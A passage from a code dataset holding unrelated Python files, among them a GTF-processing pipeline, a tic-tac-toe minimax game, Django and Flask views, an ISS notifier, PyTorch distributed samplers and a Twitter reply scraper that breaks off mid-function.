_content_dic_pickle = os.path.join(tmp_folder, 'combined_gtf _content_dic.pk')\n # write_dic_to_pk(combined_gtf _content_dic_pickle, combined_gtf_content_dic)\n print('开始装载combined_gtf信息')\n combined_gtf_content_dic = get_dic_from_combined_gtf(combined_gtf)\n combined_gtf_content_dic_pickle = os.path.join(tmp_folder, 'combined_gtf_content_dic.pk')\n write_dic_to_pk(combined_gtf_content_dic_pickle, combined_gtf_content_dic)\n print('combined_gtf 信息写入文件完毕')\n print('combined_gtf 的info dic字典对象已保存,保存地址为{}'.format(ref_dic_pickle))\n \n son_pro_lst = []\n out_file_lst = []\n limit = (len(chunk_files_lst) / batch_no) * batch_no\n batch_lst = chunk_files_lst[0:limit]\n single_lst = chunk_files_lst[limit:len(chunk_files_lst)]\n for chunk in chunk_files_lst:\n number = chunk_files_lst.index(chunk) + 1\n out_file = os.path.join(tmp_folder, 'modified_' + os.path.basename(chunk))\n out_file_lst.append(out_file)\n mod_gtf_cmd = 'python {} -input_gtf {} -out {} -ref_dic {} -combined_gtf_dic_pk {} '.format(trans_script,\n chunk,\n out_file,\n ref_dic_pickle,\n combined_gtf_content_dic_pickle\n )\n print('开始修饰第{}个文件'.format(number))\n child_pro = subprocess.Popen(mod_gtf_cmd, shell=True)\n son_pro_lst.append(child_pro)\n \n if len(son_pro_lst) >= 5:\n for pro in son_pro_lst:\n pro.communicate()\n son_pro_lst = []\n continue\n else:\n continue\n \n single_pro_lst = []\n for chunk_file in single_lst:\n out_file = os.path.join(tmp_folder, 'modified_' + os.path.basename(chunk_file))\n out_file_lst.append(out_file)\n mod_gtf_cmd = 'python {} -input_gtf {} -out {} -ref_dic {} -combined_gtf_dic_pk {} '.format(trans_script,\n chunk_file,\n out_file,\n ref_dic_pickle,\n combined_gtf_content_dic_pickle\n )\n extra = subprocess.Popen(mod_gtf_cmd, shell=True)\n single_pro_lst.append(extra)\n for extra_pro in single_pro_lst:\n extra_pro.communicate()\n \n out_file_str = \" \".join(out_file_lst)\n subprocess.call('cat {} > {}'.format(out_file_str, new_file_path), shell=True)\n print('已将最后结果汇聚为{}'.format(new_file_path))\n if rm:\n subprocess.call('rm -rf {}'.format(tmp_folder), shell=True)\n time2 = time.time()\n duration = time2 - time1\n m, s = divmod(duration, 60)\n h, m = divmod(m, 60)\n print('整个程序运行的时间为{}h:{}m:{}s'.format(h, m, s))\n","sub_path":"main_merge_id_modify.py","file_name":"main_merge_id_modify.py","file_ext":"py","file_size_in_byte":11724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"122931219","text":"\nMAN_TURN = True\nAI_TURN = False\n\ndef copy(l1, l2):\n for i in l2:\n l1.append(i)\n\ndef nextMove(board,turn, nTurn):\n n = 0\n result = 0\n resultN = -1\n for i in board:\n if (i == \" \"):\n l = list(board)\n l[n] = sign(turn)\n n3 = nextMoveCalc(l,not turn,nTurn + 1)\n if (n3 >= result):\n result = n3\n resultN = n\n n = n + 1\n return resultN\n\ndef nextMoveCalc(board, turn, nTurn):\n b = ifWin(board)\n\n if (nTurn == 9 and not b):\n return 1\n else:\n if (turn == MAN_TURN and b):\n return 2\n else:\n if(turn == AI_TURN and b):\n return 0\n else:\n if (turn == MAN_TURN):\n n = 0\n result = 2\n for i in board:\n if i == \" \":\n l = list(board)\n l[n] = sign(turn)\n result = min(nextMoveCalc(l, not turn, nTurn + 1),result)\n n = n + 1\n return result\n else:\n n = 0\n result = 0\n for i in board:\n if i == \" \":\n l = list(board)\n l[n] = sign(turn)\n result = max(nextMoveCalc(l, not turn, nTurn + 1),result)\n n = n + 1\n return result\n\n\ndef sign(turn):\n if (turn):\n return 'x'\n else:\n return 'o'\n\ndef ifWin(board):\n for i in range(3):\n if (board[i*3] == board[i*3+1] and board[i*3+1] == board[i*3+2] and board[i*3] != \" \"):\n return True\n if (board [i] == board[i+3] and board [i+3] == board[i+6] and board[i] != \" \"):\n return True\n if (board[0] == board[4] and board[4] == board[8] and board[4] != \" \") or (board[2] == board[4] and board[4] == board[6] and board[4] != \" \"):\n return True\n\n return False\n\ndef printBoard(board):\n print(str(board[0]) + \" | \" + str(board[1]) + \" | \" + str(board[2]) )\n print(\"- | - | -\")\n print(str(board[3]) + \" | \" + str(board[4]) + \" | \" + str(board[5]) )\n print(\"- | - | -\")\n print(str(board[6]) + \" | \" + str(board[7]) + \" | \" + str(board[8]) )\n\n\nboard = []\n\nfor i in range(9):\n board.append(\" \")\n\nturn = MAN_TURN\nnTurn = 0\n\nprintBoard(range(1,10))\n\nwhile nTurn < 9:\n\n if (turn == MAN_TURN):\n print(\"enter coordinate:\")\n inp = int(input())\n if (inp <= 9 and inp >= 1):\n if (board[inp-1] == ' '):\n board[inp-1] = sign(turn)\n else:\n print(\"wrong coordinate\")\n break\n else:\n print(\"wrong coordinate\")\n break\n else:\n print\n print\n board[nextMove(board,turn,nTurn)] = sign(turn)\n\n printBoard(board)\n print()\n print(\"----------\")\n print()\n if ifWin(board):\n print(\"The winner is:\")\n if (turn == MAN_TURN):\n print(\" The player won.\")\n else:\n print(\" The ai won .\")\n nTurn = 9\n turn = not turn\n nTurn= nTurn +1\n","sub_path":"ticTacToe.py","file_name":"ticTacToe.py","file_ext":"py","file_size_in_byte":3253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"223365244","text":"\"\"\"\"Author: Juan Luis Mendiola Gutiérrez\r\n Juan Pablo Ramírez Ibarra\r\n email: jlmg67815@gmail.com\r\n pablo.ram232@gmail.com \"\"\"\r\nimport random\r\nimport urllib.request\r\n\r\n\r\ndef download_web_image(url):\r\n name = random.randrange(1,1000)\r\n full_name = str(name) + \".jpg\"\r\n urllib.request .urlretrieve(url, full_name)\r\n\r\n\r\ndownload_web_image(\"https://images8.alphacoders.com/397/thumb-1920-397110.jpg\")","sub_path":"pillow/applications_of_python/image_donwloader/image_downloader.py","file_name":"image_downloader.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"396854566","text":"\"\"\"empty message\n\nRevision ID: 5b26395b3572\nRevises: 5b5f04c0c807\nCreate Date: 2019-03-03 15:49:25.502050\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '5b26395b3572'\ndown_revision = '5b5f04c0c807'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('grant_application', sa.Column('reviewer_approved', sa.Boolean(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('grant_application', 'reviewer_approved')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/5b26395b3572_.py","file_name":"5b26395b3572_.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"398652413","text":"from django.shortcuts import render\nfrom django.views import generic\nfrom .service import check_locale, get_prodcals, cast, cast_single_date\nfrom prodcal.models import ProdCals\nimport json\nfrom datetime import datetime, date\nfrom django.contrib.auth.mixins import PermissionRequiredMixin\nfrom django.http import HttpResponse, Http404\nfrom datetime import date\nimport logging\nfrom django.contrib import messages\nfrom django.utils.safestring import mark_safe\nfrom django.utils.translation import ugettext_lazy as _\nfrom .settings import *\n\n# Create your views here.\n\n\n\nlogger = logging.getLogger(__name__)\n\nclass MyMessageMixin: # TODO Make one MyMessageMixin and import it\n def success(self, message, fail_silently=True, **kwargs):\n \"\"\"Notification about successful operation.\"\"\"\n message = mark_safe(_(message).format(**kwargs))\n messages.add_message(self.request, messages.SUCCESS, message, fail_silently=fail_silently)\n\n def error(self, message, fail_silently=True, **kwargs):\n \"\"\"Notification about an error.\"\"\"\n message = mark_safe(_(message).format(**kwargs))\n messages.add_message(self.request, messages.ERROR, message, fail_silently=fail_silently)\n\nclass ProdCalEditView(PermissionRequiredMixin, generic.TemplateView, MyMessageMixin): # PermissionRequiredMixin,\n template_name = 'prodcal.html'\n permission_required = 'prodcal.change_prodcals'\n year_min = 2018\n year_max = 2039\n #years = range(year_min, year_max)\n paginate_by = 10\n localies = dict(LOCALE_SUPPORTING)\n\n def get_context_data(self, **kwargs):\n context = super(ProdCalEditView, self).get_context_data(**kwargs)\n if self.request.POST:\n raise Http404\n else:\n # GET\n self.locale = check_locale(self.kwargs.get('locale'))\n if not self.locale:\n print(\"Wrong locale\") # TODO logging\n raise Http404\n\n context['paginate_by'] = self.paginate_by\n context['locale'] = self.locale\n context['locale_full'] = self.localies[self.locale]\n context['locale_supporting'] = LOCALE_SUPPORTING\n context['year'] = datetime.now().year\n try:\n context['addDates'] = ProdCals.objects.get(locale=self.locale, year=context['year']).dates\n except:\n context['addDates'] = []\n #context['years'] = self.years\n\n context['year_min'] = self.year_min\n context['year_max'] = self.year_max\n # 'opts' for admin template (breadcrumbs)\n context['opts'] = ProdCals._meta\n\n return context\n\n def post(self, request, locale):\n self.locale = check_locale(self.kwargs.get('locale'))\n if not self.locale or not request.is_ajax():\n print(\"Wrong locale on not ajax\") # TODO logging\n raise Http404\n body_unicode = request.body.decode('utf-8')\n body = json.loads(body_unicode)\n try:\n if body['action'] == 'save':\n try:\n new_dates = [date(int(body['year']), m, d) for m, d in body['dates']]\n except Exception as e:\n raise ValueError(\"Даты в Ajax вне пределов допустимых значений (\" + str(e) + \")\") # TODO перенаправлять ? TODO - wrong dates\n obj, created = ProdCals.objects.get_or_create(\n locale=self.locale,\n year=body['year'],\n )\n obj.dates = new_dates\n obj.save()\n # не работатет\n #return HttpResponseRedirect(reverse('viewflow:prodcal', args=[locale, 'current']))\n return HttpResponse(\n json.dumps({'result': 'sucess'}),\n content_type=\"application/json\"\n )\n else:\n try:\n dates = ProdCals.objects.get(locale=self.locale, year=int(body['year'])).dates\n addDates = ['{}.{}.{}'.format(d.day, d.month, d.year) for d in dates]\n except:\n addDates = []\n return HttpResponse(\n json.dumps({'result': addDates}),\n content_type=\"application/json\"\n )\n except Exception as e:\n self.error('Ошибка') # TODO No messages in template\n print('ProdCalEditView Exception: ' + str(e)) # TODO logging\n raise Http404","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"348426989","text":"from itertools import combinations\n\ndef Possiblities(Q,person):\n r,c, d =person.split()\n r,c=int(r),int(c)\n if d=='N':\n return set([(i,j) for i in range(Q+1) for j in range(c+1,Q+1)])\n if d=='S':\n return set([(i,j) for i in range(Q+1) for j in range(c)])\n if d=='W':\n return set([(i,j) for i in range(r) for j in range(Q+1)])\n if d=='E':\n return set([(i,j) for i in range(r+1,Q+1) for j in range(Q+1)])\ndef cartLochigh(Q,personList,r):\n comb=list(combinations(personList,r))\n for subPersonList in comb:\n cartlocations=Possiblities(Q,subPersonList[0])\n if len(subPersonList)>1:\n for i in range(1,len(subPersonList)):\n cartlocations= cartlocations & Possiblities(Q,subPersonList[i])\n minX,minY=Q+1,Q+1\n for i in cartlocations:\n minX=min(minX,i[0])\n for i in cartlocations:\n if i[0]==minX:\n minY=min(minY,i[1])\n if (minX!=Q+1)and(minY!=Q+1):\n return minX,minY\n return cartLochigh(Q,personList,r-1)\n\ndef printAnswer(persondict):\n for i in persondict.keys():\n x,y= cartLochigh(persondict[i][0],persondict[i][1],len(persondict[i][1]))\n print(\"Case #\"+str(i+1)+':',x,y)\n\n\nif __name__=='__main__':\n persondict={}\n for i in range(int(input())):\n person, Q = map(int, input().split())\n personList=[input() for j in range(person)]\n persondict[i]=[Q,personList]\n printAnswer(persondict)","sub_path":"Day28/Round1B2019.py","file_name":"Round1B2019.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"369164897","text":"## check if ISS is near\n\nimport requests\nfrom datetime import datetime as dt\nfrom dateutil.parser import isoparse\nimport time as t\nimport smtplib\n\nMY_EMAIL = \"YOUR EMAIL\"\nMY_PASSWORD = \"YOUR PASSWORD\"\nMY_SMTP = \"YOUR SMTP\"\nMY_LAT = 51.44083 # YOUR LAT\nMY_LONG = 5.47778 # YOUR LAT\n\n\ndef utc_to_local(utc_datetime):\n now_time = t.time()\n offset = dt.fromtimestamp(now_time) - dt.utcfromtimestamp(now_time)\n return utc_datetime + offset\n\n\ndef iss_overhead():\n response = requests.get(url=\"http://api.open-notify.org/iss-now.json\")\n response.raise_for_status()\n data = response.json()\n\n iss_latitude = float(data[\"iss_position\"][\"latitude\"])\n iss_longitude = float(data[\"iss_position\"][\"longitude\"])\n\n if MY_LAT - 5 <= iss_latitude <= MY_LAT + 5 and MY_LONG - 5 <= iss_longitude <= MY_LONG + 5:\n return True\n\n\ndef is_night():\n parameters = {\n \"lat\": MY_LAT,\n \"lng\": MY_LONG,\n \"formatted\": 0,\n }\n\n response = requests.get(\"https://api.sunrise-sunset.org/json\", params=parameters)\n response.raise_for_status()\n data = response.json()\n sunrise = isoparse(data[\"results\"][\"sunrise\"])\n sunrise = utc_to_local(sunrise).hour\n sunset = isoparse(data[\"results\"][\"sunset\"])\n sunset = utc_to_local(sunset).hour\n time_now = dt.now().hour\n\n if time_now >= sunset or time_now <= sunrise:\n return True\n\n\nwhile True:\n t.sleep(60)\n if iss_overhead() and is_night():\n with smtplib.SMTP(MY_SMTP, 587) as connection:\n connection.starttls()\n connection.login(MY_EMAIL, MY_PASSWORD)\n connection.sendmail(\n from_addr=MY_EMAIL,\n to_addrs=MY_EMAIL,\n msg=\"Subject: Look Up\\n\\nThe ISS is above and near you.\".encode(\"utf8\")\n )","sub_path":"ISS-Location-Notifier/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"412785437","text":"import csv\n\nf = open('hacker_news.csv')\nhn = list(csv.reader(f))\nhn[:5]\nheaders = hn[0]\nhn = hn[1:]\nprint(headers)\nprint(hn[:5])\nask_posts = []\nshow_posts =[]\nother_posts = []\n\nfor post in hn:\n title = post[1]\n if title.lower().startswith(\"ask hn\"):\n ask_posts.append(post)\n elif title.lower().startswith(\"show hn\"):\n show_posts.append(post)\n else:\n other_posts.append(post)\n\nfor i in ask_posts:\n print(ask_posts)\n \nprint(len(ask_posts))\nprint(len(show_posts))\nprint(len(other_posts))\n","sub_path":"analyze_post.py","file_name":"analyze_post.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"358310765","text":"'''\nCreated on Jul 13, 2016\n\n@author: jvazquez\n'''\nimport logging\n\n\nfrom flask import Blueprint, jsonify, g\nfrom flasgger import swag_from\nfrom flask_jwt import current_identity, jwt_required\n\nfrom privileges.api.model import Groups, UserGroups, Privileges,\\\n GroupsPrivileges\nfrom privileges.helpers.user_privileges import UserPrivilegesHelper\nfrom privileges.acl.decorators import access_to_resource\nfrom utils.helpers.response_creator.simple_creator import simplest\nfrom utils.helpers.response_creator.http_statuses import CREATED, OK, DELETED,\\\n NOT_FOUND, ERROR\n\nprivileges_user_module = Blueprint(\"user_privileges_api\", __name__)\nlogger = logging.getLogger(__name__)\n\n\n@privileges_user_module.route(\"/api/privileges/user/me/\",\n methods=[\"GET\"])\n@jwt_required(401)\n@swag_from(\"get_privileges_user_me.yml\")\ndef get_my_privileges():\n session = g.db_session\n my_privileges = session.query(GroupsPrivileges).join(Privileges)\\\n .join(Groups)\\\n .join(UserGroups)\\\n .filter(UserGroups.user_id == current_identity.real)\\\n .all()\n my_privileges_list = list(map(lambda privilege: privilege.privilege.key,\n my_privileges))\n return jsonify(my_privileges_list), OK\n\n\n@privileges_user_module.route(\"/api/privileges/user//\",\n methods=[\"GET\"])\n@jwt_required(401)\n@access_to_resource(current_identity, \"user_privileges.get\")\n@swag_from(\"get_privileges_user.yml\")\ndef get_user_privileges(user_id):\n try:\n status = OK\n helper = UserPrivilegesHelper()\n helper.set_session(g.db_session)\n data = helper.get_privileges_of_user(user_id)\n except Exception:\n logger.exception(\"Error retrieving privileges of user {}\"\n .format(user_id))\n status = ERROR\n data = []\n finally:\n response = simplest(\"get\", status, data)\n return jsonify(response), status\n","sub_path":"privileges/api/privileges_user.py","file_name":"privileges_user.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"380827956","text":"\"\"\"\n10_4_guest_book.py\n\nWrite a while loop that prompts users for their name. When\nthey enter their name, print a greeting to the screen and add a line recording\ntheir visit in a file called guest_book.txt. Make sure each entry appears on a\nnew line in the file.\n\nCreated: 4-3-19\nLast Updated:\n@author: Brian Jacobe\n\n\"\"\"\n\nprompt = \"Please enter your name here.\\n\"\nprompt += \"Press Q to quit the program.\"\nfilename = \"guest_book.txt\"\nuser_input = \"\"\n\nwhile user_input != \"q\":\n\tuser_input = input(prompt)\n\twith open(filename, 'a') as file_object:\n\t\tfile_object.write(\"Welcome, \" + user_input + \"!\")\n\t\tfile_object.close()","sub_path":"Python Crash Course/chapter_10/10_4_guest_book.py","file_name":"10_4_guest_book.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"500424178","text":"import pygame\nimport random\nimport sys\n\npygame.init()\nclock = pygame.time.Clock()\n\nwin = pygame.display.set_mode((800, 600))\npygame.display.set_caption(\"Particles\")\n\nparticles = []\ncolors = [(255, 0, 0), (255,215,0), (255,69,0)]\n\n\nclass Particle():\n def __init__(self, x, y, xvel, yvel, radius, color, gravity=None):\n self.x = x\n self.y = y\n self.xvel = xvel\n self.yvel = yvel\n self.radius = radius\n self.color = color\n self.gravity = gravity\n\n def render(self, win):\n self.x += self.xvel\n self.y += self.yvel\n if self.gravity != None:\n self.yvel += self.gravity\n self.radius -= 0.1\n\n pygame.draw.circle(win, self.color, (self.x, self.y), self.radius)\n\n\ndef DrawParticles():\n for particle in particles:\n particle.render(win)\n if particle.radius <= 0:\n particles.remove(particle)\n \n\nwhile True:\n clock.tick(60)\n for event in pygame.event.get():\n pos = pygame.mouse.get_pos()\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit(0)\n\n for x in range(random.randint(15, 25)):\n particle = Particle(pos[0], pos[1], random.randint(0,20)/10, random.randint(-3, -1), random.randint(2, 5), random.choice(colors))\n particles.append(particle)\n\n win.fill((0,0,0))\n DrawParticles()\n pygame.display.update()\n \n \n \n","sub_path":"particles.py","file_name":"particles.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"594079397","text":"\"\"\"\n@Project :thread\n@Time :2018/8/16 9:24\n@Author :Zhenxian\n@File :threadTwo.py\n@Software :PyCharm\n\"\"\"\nimport threading\nimport time\n\nEXIT_FLAG = 0\nLOCK = threading.Lock()\n\n\nclass MyThread(threading.Thread):\n def __init__(self, thread_id, thread_name, thread_counter):\n threading.Thread.__init__(self)\n self.thread_id = thread_id\n self.thread_name = thread_name\n self.thread_counter = thread_counter\n\n def run(self):\n LOCK.acquire()\n print(\"Starting:\", self.thread_name)\n print_time(self.thread_name, self.thread_counter, 5)\n print(\"Exiting:\", self.thread_name)\n LOCK.release()\n\n\ndef print_time(thread_name, delay, thread_counter):\n while thread_counter:\n if EXIT_FLAG:\n exit()\n time.sleep(delay)\n print(\"%s:%s\" % (thread_name, time.ctime(time.time())))\n thread_counter -= 1\n\n\nthread_one = MyThread(1, \"thread_one\", 1)\nthread_two = MyThread(2, \"thread_two\", 2)\nthread_one.start()\nthread_two.start()\nprint(\"Exit main thread\")\n\n","sub_path":"thread/threadTwo.py","file_name":"threadTwo.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"154515726","text":"from django.conf.urls import url\nfrom .views import *\n\n\nurlpatterns = [\n url(r'^$', index, name='app01_index'),\n url(r'^containers/', show_containers, name='app01_containers'),\n url(r'^add/', add_con, name='app01_containers_add'),\n url(r'^manage/', manage_con, name='app01_containers_manage'),\n url(r'^images/', show_images, name='app01_images'),\n url(r'^build_image/', build_image, name='app01_build_image'),\n url(r'^delete_image/', delete_image, name='app01_delete_image'),\n url(r'^push_image/', push_image, name='app01_push_image'),\n url(r'^pull_image/', pull_image, name='app01_pull_image'),\n]\n","sub_path":"app01/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"652993415","text":"# Standard Library\nimport math\n\n# Import from third library\nimport torch\nfrom torch.utils.data.sampler import Sampler\n\nfrom eod.utils.env.dist_helper import env\nfrom eod.utils.general.registry_factory import SAMPLER_REGISTRY\n\n\n__all__ = ['DistributedSampler', 'LocalSampler', 'TestDistributedSampler']\n\n\n@SAMPLER_REGISTRY.register('dist')\nclass DistributedSampler(Sampler):\n \"\"\"\n Sampler that restricts data loading to a subset of the dataset.\n\n .. note:\n Dataset is assumed to be of constant size.\n\n Arguments:\n dataset (Dataset): dataset used for sampling.\n num_replicas (int): number of processes participating in distributed training, optional.\n rank (int): rank of the current process within num_replicas, optional.\n \"\"\"\n\n def __init__(self, dataset, num_replicas=None, rank=None, fix_seed=False):\n \"\"\"\n Arguments:\n - dataset (:obj:`dataset`): instance of dataset object\n \"\"\"\n if num_replicas is None:\n num_replicas = env.world_size\n if rank is None:\n rank = env.rank\n\n self.dataset = dataset\n self.num_replicas = num_replicas\n self.rank = rank\n self.epoch = 0\n self.num_samples = int(math.ceil(len(self.dataset) * 1.0 / self.num_replicas))\n self.total_size = self.num_samples * self.num_replicas\n self.fix_seed = fix_seed\n\n def __iter__(self):\n # deterministically shuffle based on epoch\n g = torch.Generator()\n g.manual_seed(self.epoch * (not self.fix_seed))\n indices = list(torch.randperm(len(self.dataset), generator=g))\n\n # add extra samples to make it evenly divisible\n # indices += indices[:(self.total_size - len(indices))]\n padding_size = self.total_size - len(indices)\n if padding_size <= len(indices):\n indices += indices[:padding_size]\n else:\n indices += (indices * math.ceil(padding_size / len(indices)))[:padding_size]\n assert len(indices) == self.total_size\n\n # subsample\n offset = self.num_samples * self.rank\n indices = indices[offset:offset + self.num_samples]\n assert len(indices) == self.num_samples\n\n return iter(indices)\n\n def __len__(self):\n return self.num_samples\n\n def set_epoch(self, epoch):\n self.epoch = epoch\n\n\n@SAMPLER_REGISTRY.register('local')\nclass LocalSampler(Sampler):\n def __init__(self, dataset, rank=None):\n if rank is None:\n rank = env.rank\n self.dataset = dataset\n self.rank = rank\n self.epoch = 0\n self.num_samples = len(self.dataset)\n\n def __iter__(self):\n # deterministically shuffle based on epoch\n g = torch.Generator()\n g.manual_seed(self.epoch + self.rank)\n indices = list(torch.randperm(self.num_samples, generator=g))\n return iter(indices)\n\n def set_epoch(self, epoch):\n self.epoch = epoch\n\n def __len__(self):\n return self.num_samples\n\n\n@SAMPLER_REGISTRY.register('dist_test')\nclass TestDistributedSampler(Sampler):\n \"\"\"\n Sampler that restricts data loading to a subset of the dataset, but won't align the total data\n size to be divisible by world_size bacause this will lead to duplicate detecton results\n \"\"\"\n\n def __init__(self, dataset, num_replicas=None, rank=None):\n \"\"\"\n Arguments:\n - dataset (:obj:`dataset`): instance of dataset object\n \"\"\"\n if num_replicas is None:\n num_replicas = env.world_size\n if rank is None:\n rank = env.rank\n\n self.dataset = dataset\n self.num_replicas = num_replicas\n self.rank = rank\n self.epoch = 0\n self.num_samples = len(range(rank, len(self.dataset), num_replicas))\n self.total_size = len(self.dataset)\n\n def __iter__(self):\n indices = torch.arange(len(self.dataset))\n indices = indices[self.rank::self.num_replicas]\n assert len(indices) == self.num_samples\n return iter(indices)\n\n def __len__(self):\n return self.num_samples\n\n def set_epoch(self, epoch):\n self.epoch = epoch\n","sub_path":"eod/data/samplers/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":4170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"44985082","text":"import sys\nimport time\nimport tweepy\nimport configparser\nimport logging\nimport pandas as pd\nimport urllib.parse\nfrom flatten_json import flatten\n\n# Tweet attributes we wish to keep.\n# For full list of attributes see `tweet_fields_of_interest.txt`\ntweet_fields_of_interest = [\n 'created_at',\n 'id',\n 'full_text',\n 'user_id',\n 'user_name',\n 'user_screen_name',\n 'user_location',\n 'user_description',\n 'user_followers_count',\n 'retweet_count',\n 'favorite_count',\n 'lang'\n]\n\ndefault_flags = {\n 'file_format': 'csv',\n 'search_depth': 1000,\n 'wait_on_rate_limit': 'off',\n 'big_query': 'on',\n 'stop_words': []\n}\n\ndef setup_api_config(path_to_credentials, flag_list):\n \"\"\"\n Handles setting up credentials to access the Twitter API via tweepy wrapper.\n\n Args:\n path_to_credentials (String):\n Path to the credentials.ini file location.\n\n Returns:\n api (tweepy.api.API):\n Twitter API wrapper object.\n See http://docs.tweepy.org/en/latest/api.html\n \"\"\"\n if flag_list['wait_on_rate_limit'].lower() == 'on':\n wait_on_limit=True\n else:\n wait_on_limit=False\n\n # Configure the credentials\n CONFIG = configparser.ConfigParser()\n CONFIG.read(path_to_credentials)\n\n # Define each key\n consumer_key = CONFIG['API']['key']\n consumer_secret = CONFIG['API']['secret']\n access_token = CONFIG['Access']['token']\n access_token_secret = CONFIG['Access']['secret']\n\n auth = tweepy.OAuthHandler(\n consumer_key=consumer_key,\n consumer_secret=consumer_secret)\n auth.set_access_token(\n key=access_token,\n secret=access_token_secret)\n api = tweepy.API(\n auth,\n wait_on_rate_limit=wait_on_limit,\n wait_on_rate_limit_notify=wait_on_limit\n )\n return api\n\ndef get_replies(api, twitter_user, tweet_id, flag_options):\n \"\"\"\n Uses the tweepy api and searches for specified twitter user and associated\n tweet_id.\n\n Args:\n api (tweepy.api.API):\n Twitter API wrapper object.\n See http://docs.tweepy.org/en/latest/api.html\n twitter_user (String):\n Twitter user that owns the tweet we are interested in retrieving.\n tweet_id (String):\n Tweet id of tweet we are interested in retrieving.\n flag_options (dict):\n Specifies user options for retrieving tweets.\n\n Returns:\n replies (list):\n A list of Tweepy.models.status, or tweet status objects that\n are in_reply_to specified tweet.\n \"\"\"\n items = flag_options['search_depth']\n replies = [\n tweet\n for tweet in tweepy.Cursor(\n api.search,\n q='to:'+twitter_user,\n result_type='recent',\n tweet_mode='extended',\n timeout=999999).items(items)\n if hasattr(tweet, 'in_reply_to_status_id_str')\n if (tweet.in_reply_to_status_id_str==str(tweet_id))\n ]\n return replies\n\ndef get_field(replies, tweet_field):\n \"\"\"\n Parses the raw data retrieved from the Twitter API by flattening\n and constructing a pandas.Series object specified by tweet_field.\n\n Args:\n replies (list):\n Passing a list of replies of type Tweepy.models.status obtained\n through iterating on the Tweepy cursor.\n tweet_field (String):\n Specifies hte tweet attribute/field within the json file to find.\n\n Returns:\n field_data_series (pandas.Series):\n A pandas Series object containing the data of specified tweet_field.\n \"\"\"\n field_data = [flatten(reply._json)[tweet_field] for reply in replies]\n field_data_series = pd.Series(\n field_data,\n name=tweet_field\n )\n return field_data_series\n\ndef parse_tweet_url(tweet_url):\n \"\"\"\n Splits the twitter url to tweet into two components.\n\n Args:\n tweet_url (String):\n A url link to specified tweet.\n\n Returns:\n twitter_user (String):\n The '@user' owner of the tweet.\n tweet_id (String):\n The tweet status id of interest.\n \"\"\"\n try:\n if ('twitter' not in tweet_url) & ('status' not in tweet_url):\n raise ValueError('Invalid twitter link.')\n link_header_removed = tweet_url.split('com/', 1)\n user_and_tweet_id = link_header_removed[1].split('/status/')\n twitter_user = user_and_tweet_id[0] # e.g. 'eigenbom'\n tweet_id = user_and_tweet_id[1] # e.g. '1299114959792611328'\n\n return twitter_user, tweet_id\n except ValueError as e:\n print(e)\n quit()\n\ndef raw_input_parser(string_with_flags):\n \"\"\"\n Seperate the raw input string into segments.\n These segments will be a twitter url string, and a list of tuples\n that match the key flag with the associated value.\n\n Args:\n string_with_flags (String):\n raw input from user\n\n Returns:\n url (string):\n the specified url string.\n flag_list (list):\n list of tuples with the flag (key) and associated value in each\n listed pair e.g. flag_list[0][0] (key), flag_list[0][1] (value).\n \"\"\"\n try:\n url, flags = string_with_flags.split(' ', 1)\n flags = flags.split('-')\n flag_list = tuple(flag.split(' ', 1) for flag in flags if flag)\n return url, flag_list\n except ValueError as ve:\n print('No specified flags. Using default options.')\n return string_with_flags, {}\n\ndef flag_parser(flag_list):\n \"\"\"\n Reads the flag_list to appropriately assign optional\n values to intended functions.\n\n current_flags:\n file_format `-f`:\n Specify the output file format. Default `csv`.\n Other option `pickle`.\n search_depth `-sd`:\n Specify the number of tweets to search through. Default `1000`,\n Note that not all tweets that are searched will be `in_reply_to`\n specified tweet. If `-s` is greater than 1000 please set `-w` to `on`.\n Free tier twitter API limits at 1000.\n wait_on_rate_limit `-w`:\n Wait to retrieve more tweets once API limitations are exceeded.\n Can be either `on` or `off`. Default `off`.\n\n Args:\n flag_list (list): a list of lists holding key, value pairs as tuples.\n Returns:\n dict: key value pairs that specify user options.\n\n Raises:\n ValueError: specified flags are not available options.\n \"\"\"\n flag_conv = {\n 'f':'file_format',\n 'sd':'search_depth',\n 'w':'wait_on_rate_limit',\n 'bq': 'big_query',\n 'sw': 'stop_words'\n }\n global default_flags\n try:\n user_flags = {flag_conv[flag[0]]:flag[1] for flag in flag_list}\n merged_flags = 